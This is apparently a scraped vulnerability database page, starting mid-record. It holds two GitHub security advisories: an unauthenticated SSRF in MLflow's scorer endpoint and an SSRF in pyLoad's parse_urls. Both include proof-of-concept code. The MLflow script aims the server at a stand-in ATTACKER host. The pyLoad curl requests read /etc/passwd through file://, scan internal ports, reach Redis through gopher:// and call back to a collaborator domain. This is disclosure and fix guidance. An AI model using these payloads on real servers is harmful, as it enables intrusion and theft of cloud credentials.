"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Gitea: SSRF via Migration Asset Downloads Bypasses hostmatcher \u2014 Reads Internal Files and Cloud Metadata"
}
GHSA-2WQP-Q3C6-CCJ5
Vulnerability from github – Published: 2026-10-23 22:07 – Updated: 2026-10-23 22:07Summary
MLflow's tracking server exposes POST /ajax-api/3.0/mlflow/scorer/invoke with no authentication, and the handler reflectively instantiates an attacker-named class from attacker-supplied JSON with unconstrained constructor kwargs. With the optional trulens + trulens-providers-litellm packages installed, an unauthenticated attacker can force the server to make an outbound HTTP request to an arbitrary host of their choosing, carrying attacker-controlled headers (SSRF).
Details
Scorer.model_validate_json() reflects a class name from a JSON payload behind an import-path allowlist that never constrains the reflected attribute or its kwargs, in mlflow/genai/scorers/base.py:549-604:
data = serialized.third_party_scorer_data # attacker JSON
module_path = data.get("module") or ""
class_name = data.get("class")
if not any(module_path == m or module_path.startswith(m + ".")
for m in THIRD_PARTY_SCORER_ALLOWED_MODULES):
raise MlflowException.invalid_parameter_value(...)
module = importlib.import_module(module_path)
scorer_class = getattr(module, class_name, None) # attribute NOT constrained
...
init_kwargs: dict[str, Any] = dict(data.get("kwargs") or {}) # kwargs NOT constrained
...
init_kwargs["model"] = data["model"] # attacker model URI
scorer_instance = scorer_class(**init_kwargs) # reflective instantiation
The allowlist (mlflow/genai/scorers/scorer_utils.py:46-51) only gates the import path:
THIRD_PARTY_SCORER_ALLOWED_MODULES = frozenset({
"mlflow.genai.scorers.ragas",
"mlflow.genai.scorers.deepeval",
"mlflow.genai.scorers.trulens",
"mlflow.genai.scorers.phoenix",
})
For a mlflow.genai.scorers.trulens class, the forwarded model/kwargs reach an outbound LLM client through a routing choice the attacker controls (mlflow/genai/scorers/trulens/models.py:97-121):
backend = ScorerLLMClient(model_uri)
if backend.route == "databricks":
return _create_databricks_provider(backend, **kwargs)
if backend.is_native:
return _create_gateway_provider(backend, **kwargs)
try:
from trulens.providers.litellm import LiteLLM
litellm_model = backend.model_name
...
return LiteLLM(model_engine=litellm_model, **kwargs) # raw attacker kwargs forwarded
Only the litellm fallback branch reaches raw **kwargs; a model URI outside MLflow's native provider registry (e.g. openai:/gpt-4o) trivially routes there, and LiteLLM.__init__ forwards api_base/api_key straight into litellm.completion().
- Route:
POST /ajax-api/3.0/mlflow/scorer/invoke→_invoke_scorer_handler(mlflow/server/handlers.py:7026-7098), guarded only by@catch_mlflow_exception/@_disable_if_artifacts_only— no auth decorator. Scorer.model_validate_json(serialized_scorer)(the vulnerable deserialization) runs synchronously, before any tracking-store lookup orsubmit_jobcall.- Precondition: the server venv must have
trulens+trulens-providers-litellminstalled (a documented but optional, not-bundled GenAI-eval setup).
PoC
import time
import mlflow
from mlflow import MlflowClient
import requests
TARGET = "http://TARGET:5000" # MLflow tracking server, no auth configured
ATTACKER = "http://ATTACKER/collect" # host the attacker controls and monitors
client = MlflowClient(tracking_uri=TARGET)
# 1. Anonymous setup: create an experiment and log a trace to obtain a trace_id.
exp_id = client.create_experiment("poc")
mlflow.set_tracking_uri(TARGET)
mlflow.set_experiment(experiment_id=exp_id)
with mlflow.start_span(name="poc-span") as span:
span.set_inputs({"q": "hi"})
span.set_outputs({"a": "hi"})
trace_id = span.request_id
# 2. Attack: invoke a reflected trulens scorer whose kwargs point the
# outbound LLM client at the attacker host with an attacker-chosen
# Authorization value (their own canary, not a server secret).
serialized_scorer = {
"name": "poc",
"third_party_scorer_data": {
"module": "mlflow.genai.scorers.trulens",
"class": "Coherence",
"metric_name": "Coherence",
"model": "openai:/gpt-4o", # routes to the litellm fallback
"kwargs": {
"api_base": ATTACKER,
"api_key": "ATTACKER-CANARY", # attacker's own value, not a server secret
},
},
}
resp = requests.post(
f"{TARGET}/ajax-api/3.0/mlflow/scorer/invoke",
json={
"experiment_id": exp_id,
"serialized_scorer": __import__("json").dumps(serialized_scorer),
"trace_ids": [trace_id],
},
)
print(resp.status_code, resp.text)
time.sleep(5) # scorer job runs asynchronously
# Attacker-controlled listener at ATTACKER receives, moments later:
POST /collect/chat/completions HTTP/1.1
Authorization: Bearer ATTACKER-CANARY
Content-Type: application/json
...
The POST .../chat/completions request landing on ATTACKER, carrying the attacker's own Authorization header, is the server-originated outbound request — no request was ever sent by the client to that host directly.
Impact
An unauthenticated attacker forces the tracking server to issue an outbound HTTP request to an arbitrary attacker-chosen host — reachable from the server's network position, including internal services or cloud-metadata endpoints — with fully attacker-controlled request headers and body. This is SSRF with header/credential injection into the server-originated request; it requires no prior authentication and no operator misconfiguration beyond having the optional trulens + trulens-providers-litellm packages installed alongside MLflow.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "mlflow"
},
"ranges": [
{
"events": [
{
"introduced": "3.12.0rc0"
},
{
"fixed": "3.17.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-115886"
],
"database_specific": {
"cwe_ids": [
"CWE-470",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-23T22:07:26Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nMLflow\u0027s tracking server exposes `POST /ajax-api/3.0/mlflow/scorer/invoke` with **no authentication**, and the handler reflectively instantiates an attacker-named class from attacker-supplied JSON with unconstrained constructor kwargs. With the optional `trulens` + `trulens-providers-litellm` packages installed, an unauthenticated attacker can force the server to make an outbound HTTP request to an arbitrary host of their choosing, carrying attacker-controlled headers (SSRF).\n\n### Details\n`Scorer.model_validate_json()` reflects a class name from a JSON payload behind an import-path allowlist that never constrains the reflected attribute or its kwargs, in `mlflow/genai/scorers/base.py:549-604`:\n\n```python\ndata = serialized.third_party_scorer_data # attacker JSON\nmodule_path = data.get(\"module\") or \"\"\nclass_name = data.get(\"class\")\nif not any(module_path == m or module_path.startswith(m + \".\")\n for m in THIRD_PARTY_SCORER_ALLOWED_MODULES):\n raise MlflowException.invalid_parameter_value(...)\nmodule = importlib.import_module(module_path)\nscorer_class = getattr(module, class_name, None) # attribute NOT constrained\n...\ninit_kwargs: dict[str, Any] = dict(data.get(\"kwargs\") or {}) # kwargs NOT constrained\n...\ninit_kwargs[\"model\"] = data[\"model\"] # attacker model URI\nscorer_instance = scorer_class(**init_kwargs) # reflective instantiation\n```\n\nThe allowlist (`mlflow/genai/scorers/scorer_utils.py:46-51`) only gates the import path:\n\n```python\nTHIRD_PARTY_SCORER_ALLOWED_MODULES = frozenset({\n \"mlflow.genai.scorers.ragas\",\n \"mlflow.genai.scorers.deepeval\",\n \"mlflow.genai.scorers.trulens\",\n \"mlflow.genai.scorers.phoenix\",\n})\n```\n\nFor a `mlflow.genai.scorers.trulens` class, the forwarded `model`/`kwargs` reach an outbound LLM client through a routing choice the attacker controls (`mlflow/genai/scorers/trulens/models.py:97-121`):\n\n```python\nbackend = ScorerLLMClient(model_uri)\nif backend.route == \"databricks\":\n return _create_databricks_provider(backend, **kwargs)\nif backend.is_native:\n return _create_gateway_provider(backend, **kwargs)\ntry:\n from trulens.providers.litellm import LiteLLM\n litellm_model = backend.model_name\n ...\n return LiteLLM(model_engine=litellm_model, **kwargs) # raw attacker kwargs forwarded\n```\n\nOnly the `litellm` fallback branch reaches raw `**kwargs`; a `model` URI outside MLflow\u0027s native provider registry (e.g. `openai:/gpt-4o`) trivially routes there, and `LiteLLM.__init__` forwards `api_base`/`api_key` straight into `litellm.completion()`.\n\n- Route: `POST /ajax-api/3.0/mlflow/scorer/invoke` \u2192 `_invoke_scorer_handler` (`mlflow/server/handlers.py:7026-7098`), guarded only by `@catch_mlflow_exception`/`@_disable_if_artifacts_only` \u2014 no auth decorator.\n- `Scorer.model_validate_json(serialized_scorer)` (the vulnerable deserialization) runs synchronously, before any tracking-store lookup or `submit_job` call.\n- Precondition: the server venv must have `trulens` + `trulens-providers-litellm` installed (a documented but optional, not-bundled GenAI-eval setup).\n\n### PoC\n```python\nimport time\nimport mlflow\nfrom mlflow import MlflowClient\nimport requests\n\nTARGET = \"http://TARGET:5000\" # MLflow tracking server, no auth configured\nATTACKER = \"http://ATTACKER/collect\" # host the attacker controls and monitors\n\nclient = MlflowClient(tracking_uri=TARGET)\n\n# 1. Anonymous setup: create an experiment and log a trace to obtain a trace_id.\nexp_id = client.create_experiment(\"poc\")\nmlflow.set_tracking_uri(TARGET)\nmlflow.set_experiment(experiment_id=exp_id)\nwith mlflow.start_span(name=\"poc-span\") as span:\n span.set_inputs({\"q\": \"hi\"})\n span.set_outputs({\"a\": \"hi\"})\ntrace_id = span.request_id\n\n# 2. Attack: invoke a reflected trulens scorer whose kwargs point the\n# outbound LLM client at the attacker host with an attacker-chosen\n# Authorization value (their own canary, not a server secret).\nserialized_scorer = {\n \"name\": \"poc\",\n \"third_party_scorer_data\": {\n \"module\": \"mlflow.genai.scorers.trulens\",\n \"class\": \"Coherence\",\n \"metric_name\": \"Coherence\",\n \"model\": \"openai:/gpt-4o\", # routes to the litellm fallback\n \"kwargs\": {\n \"api_base\": ATTACKER,\n \"api_key\": \"ATTACKER-CANARY\", # attacker\u0027s own value, not a server secret\n },\n },\n}\nresp = requests.post(\n f\"{TARGET}/ajax-api/3.0/mlflow/scorer/invoke\",\n json={\n \"experiment_id\": exp_id,\n \"serialized_scorer\": __import__(\"json\").dumps(serialized_scorer),\n \"trace_ids\": [trace_id],\n },\n)\nprint(resp.status_code, resp.text)\ntime.sleep(5) # scorer job runs asynchronously\n```\n\n```\n# Attacker-controlled listener at ATTACKER receives, moments later:\nPOST /collect/chat/completions HTTP/1.1\nAuthorization: Bearer ATTACKER-CANARY\nContent-Type: application/json\n...\n```\n\nThe `POST .../chat/completions` request landing on `ATTACKER`, carrying the attacker\u0027s own `Authorization` header, is the server-originated outbound request \u2014 no request was ever sent by the client to that host directly.\n\n### Impact\nAn unauthenticated attacker forces the tracking server to issue an outbound HTTP request to an arbitrary attacker-chosen host \u2014 reachable from the server\u0027s network position, including internal services or cloud-metadata endpoints \u2014 with fully attacker-controlled request headers and body. This is SSRF with header/credential injection into the server-originated request; it requires no prior authentication and no operator misconfiguration beyond having the optional `trulens` + `trulens-providers-litellm` packages installed alongside MLflow.",
"id": "GHSA-2wqp-q3c6-ccj5",
"modified": "2026-10-23T22:07:26Z",
"published": "2026-10-23T22:07:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mlflow/mlflow/security/advisories/GHSA-2wqp-q3c6-ccj5"
},
{
"type": "WEB",
"url": "https://github.com/mlflow/mlflow/pull/25890"
},
{
"type": "WEB",
"url": "https://github.com/mlflow/mlflow/commit/bac30b4148c4f40045b4d4db07ae60ab3838803f"
},
{
"type": "PACKAGE",
"url": "https://github.com/mlflow/mlflow"
},
{
"type": "WEB",
"url": "https://github.com/mlflow/mlflow/releases/tag/v3.17.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "MLflow: SSRF on unauthenticated MLflow servers via third-party scorer kwargs in the scorer invoke, register, and GenAI evaluate endpoints"
}
GHSA-2WVG-62QM-GJ33
Vulnerability from github – Published: 2026-04-04 04:18 – Updated: 2026-04-06 23:43Vulnerability Details
CWE-918: Server-Side Request Forgery (SSRF)
The parse_urls API function in src/pyload/core/api/__init__.py (line 556) fetches arbitrary URLs server-side via get_url(url) (pycurl) without any URL validation, protocol restriction, or IP blacklist. An authenticated user with ADD permission can:
- Make HTTP/HTTPS requests to internal network resources and cloud metadata endpoints
- Read local files via
file://protocol (pycurl reads the file server-side) - Interact with internal services via
gopher://anddict://protocols - Enumerate file existence via error-based oracle (error 37 vs empty response)
Vulnerable Code
src/pyload/core/api/__init__.py (line 556):
def parse_urls(self, html=None, url=None):
if url:
page = get_url(url) # NO protocol restriction, NO URL validation, NO IP blacklist
urls.update(RE_URLMATCH.findall(page))
No validation is applied to the url parameter. The underlying pycurl supports file://, gopher://, dict://, and other dangerous protocols by default.
Steps to Reproduce
Setup
docker run -d --name pyload -p 8084:8000 linuxserver/pyload-ng:latest
Log in as any user with ADD permission and extract the CSRF token:
CSRF=
PoC 1: Out-of-Band SSRF (HTTP/DNS exfiltration)
curl -s -b "pyload_session_8000=<SESSION>" -H "X-CSRFToken: " -H "Content-Type: application/x-www-form-urlencoded" -d "url=http://ssrf-proof.<CALLBACK_DOMAIN>/pyload-ssrf-poc" http://localhost:8084/api/parse_urls
Result: 7 DNS/HTTP interactions received on the callback server (Burp Collaborator). Screenshot attached in comments.
PoC 2: Local file read via file:// protocol
# Reading /etc/passwd (file exists) -> empty response (no error)
curl ... -d "url=file:///etc/passwd" http://localhost:8084/api/parse_urls
# Response: {}
# Reading nonexistent file -> pycurl error 37
curl ... -d "url=file:///nonexistent" http://localhost:8084/api/parse_urls
# Response: {"error": "(37, \'Couldn't open file /nonexistent\')"}
The difference confirms pycurl successfully reads local files. While parse_urls only returns extracted URLs (not raw content), any URL-like strings in configuration files or environment variables are leaked. The error vs success differential also serves as a file existence oracle.
Files confirmed readable:
- /etc/passwd, /etc/hosts
- /proc/self/environ (process environment variables)
- /config/settings/pyload.cfg (pyLoad configuration)
- /config/data/pyload.db (SQLite database)
PoC 3: Internal port scanning
curl ... -d "url=http://127.0.0.1:22/" http://localhost:8084/api/parse_urls
# Response: pycurl.error: (7, 'Failed to connect to 127.0.0.1 port 22')
PoC 4: gopher:// and dict:// protocol support
curl ... -d "url=gopher://127.0.0.1:6379/_INFO" http://localhost:8084/api/parse_urls
curl ... -d "url=dict://127.0.0.1:11211/stat" http://localhost:8084/api/parse_urls
Both protocols are accepted by pycurl, enabling interaction with internal services (Redis, memcached, SMTP, etc.).
Impact
An authenticated user with ADD permission can:
- Read local files via
file://protocol (configuration, credentials, database files) - Enumerate file existence via error-based oracle (
Couldn't open filevs empty response) - Access cloud metadata endpoints (AWS IAM credentials at
http://169.254.169.254/, GCP service tokens) - Scan internal network services and ports via error-based timing
- Interact with internal services via
gopher://(Redis RCE, SMTP relay) anddict:// - Exfiltrate data via DNS/HTTP to attacker-controlled servers
The multi-protocol support (file://, gopher://, dict://) combined with local file read capability significantly elevates the impact beyond a standard HTTP-only SSRF.
Proposed Fix
Restrict allowed protocols and validate target addresses:
from urllib.parse import urlparse
import ipaddress
import socket
def _is_safe_url(url):
parsed = urlparse(url)
if parsed.scheme not in ('http', 'https'):
return False
hostname = parsed.hostname
if not hostname:
return False
try:
for info in socket.getaddrinfo(hostname, None):
ip = ipaddress.ip_address(info[4][0])
if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:
return False
except (socket.gaierror, ValueError):
return False
return True
def parse_urls(self, html=None, url=None):
if url:
if not _is_safe_url(url):
raise ValueError("URL targets a restricted address or uses a disallowed protocol")
page = get_url(url)
urls.update(RE_URLMATCH.findall(page))
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pyload-ng"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.5.0b3.dev96"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35187"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-04T04:18:43Z",
"nvd_published_at": "2026-04-06T20:16:27Z",
"severity": "HIGH"
},
"details": "## Vulnerability Details\n\n**CWE-918**: Server-Side Request Forgery (SSRF)\n\nThe `parse_urls` API function in `src/pyload/core/api/__init__.py` (line 556) fetches arbitrary URLs server-side via `get_url(url)` (pycurl) without any URL validation, protocol restriction, or IP blacklist. An authenticated user with ADD permission can:\n\n- Make HTTP/HTTPS requests to internal network resources and cloud metadata endpoints\n- **Read local files** via `file://` protocol (pycurl reads the file server-side)\n- **Interact with internal services** via `gopher://` and `dict://` protocols\n- **Enumerate file existence** via error-based oracle (error 37 vs empty response)\n\n### Vulnerable Code\n\n**`src/pyload/core/api/__init__.py` (line 556)**:\n\n```python\ndef parse_urls(self, html=None, url=None):\n if url:\n page = get_url(url) # NO protocol restriction, NO URL validation, NO IP blacklist\n urls.update(RE_URLMATCH.findall(page))\n```\n\nNo validation is applied to the `url` parameter. The underlying pycurl supports `file://`, `gopher://`, `dict://`, and other dangerous protocols by default.\n\n## Steps to Reproduce\n\n### Setup\n\n```bash\ndocker run -d --name pyload -p 8084:8000 linuxserver/pyload-ng:latest\n```\n\nLog in as any user with ADD permission and extract the CSRF token:\n\n```bash\nCSRF=\n```\n\n### PoC 1: Out-of-Band SSRF (HTTP/DNS exfiltration)\n\n```bash\ncurl -s -b \"pyload_session_8000=\u003cSESSION\u003e\" -H \"X-CSRFToken: \" -H \"Content-Type: application/x-www-form-urlencoded\" -d \"url=http://ssrf-proof.\u003cCALLBACK_DOMAIN\u003e/pyload-ssrf-poc\" http://localhost:8084/api/parse_urls\n```\n\n**Result**: 7 DNS/HTTP interactions received on the callback server (Burp Collaborator). Screenshot attached in comments.\n\n### PoC 2: Local file read via file:// protocol\n\n```bash\n# Reading /etc/passwd (file exists) -\u003e empty response (no error)\ncurl ... -d \"url=file:///etc/passwd\" http://localhost:8084/api/parse_urls\n# Response: {}\n\n# Reading nonexistent file -\u003e pycurl error 37\ncurl ... -d \"url=file:///nonexistent\" http://localhost:8084/api/parse_urls\n# Response: {\"error\": \"(37, \\\u0027Couldn\u0027t open file /nonexistent\\\u0027)\"}\n```\n\nThe difference confirms pycurl successfully reads local files. While `parse_urls` only returns extracted URLs (not raw content), any URL-like strings in configuration files or environment variables are leaked. The error vs success differential also serves as a **file existence oracle**.\n\nFiles confirmed readable:\n- `/etc/passwd`, `/etc/hosts`\n- `/proc/self/environ` (process environment variables)\n- `/config/settings/pyload.cfg` (pyLoad configuration)\n- `/config/data/pyload.db` (SQLite database)\n\n### PoC 3: Internal port scanning\n\n```bash\ncurl ... -d \"url=http://127.0.0.1:22/\" http://localhost:8084/api/parse_urls\n# Response: pycurl.error: (7, \u0027Failed to connect to 127.0.0.1 port 22\u0027)\n```\n\n### PoC 4: gopher:// and dict:// protocol support\n\n```bash\ncurl ... -d \"url=gopher://127.0.0.1:6379/_INFO\" http://localhost:8084/api/parse_urls\ncurl ... -d \"url=dict://127.0.0.1:11211/stat\" http://localhost:8084/api/parse_urls\n```\n\nBoth protocols are accepted by pycurl, enabling interaction with internal services (Redis, memcached, SMTP, etc.).\n\n## Impact\n\nAn authenticated user with ADD permission can:\n\n- **Read local files** via `file://` protocol (configuration, credentials, database files)\n- **Enumerate file existence** via error-based oracle (`Couldn\u0027t open file` vs empty response)\n- **Access cloud metadata endpoints** (AWS IAM credentials at `http://169.254.169.254/`, GCP service tokens)\n- **Scan internal network** services and ports via error-based timing\n- **Interact with internal services** via `gopher://` (Redis RCE, SMTP relay) and `dict://`\n- **Exfiltrate data** via DNS/HTTP to attacker-controlled servers\n\nThe multi-protocol support (`file://`, `gopher://`, `dict://`) combined with local file read capability significantly elevates the impact beyond a standard HTTP-only SSRF.\n\n## Proposed Fix\n\nRestrict allowed protocols and validate target addresses:\n\n```python\nfrom urllib.parse import urlparse\nimport ipaddress\nimport socket\n\ndef _is_safe_url(url):\n parsed = urlparse(url)\n if parsed.scheme not in (\u0027http\u0027, \u0027https\u0027):\n return False\n hostname = parsed.hostname\n if not hostname:\n return False\n try:\n for info in socket.getaddrinfo(hostname, None):\n ip = ipaddress.ip_address(info[4][0])\n if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:\n return False\n except (socket.gaierror, ValueError):\n return False\n return True\n\ndef parse_urls(self, html=None, url=None):\n if url:\n if not _is_safe_url(url):\n raise ValueError(\"URL targets a restricted address or uses a disallowed protocol\")\n page = get_url(url)\n urls.update(RE_URLMATCH.findall(page))\n```",
"id": "GHSA-2wvg-62qm-gj33",
"modified": "2026-04-06T23:43:23Z",
"published": "2026-04-04T04:18:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pyload/pyload/security/advisories/GHSA-2wvg-62qm-gj33"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35187"
},
{
"type": "WEB",
"url": "https://github.com/pyload/pyload/commit/4032e57d61d8f864e39f4dcfdb567527a50a9e1f"
},
{
"type": "PACKAGE",
"url": "https://github.com/pyload/pyload"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "pyLoad: SSRF in parse_urls API endpoint via unvalidated URL parameter"
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.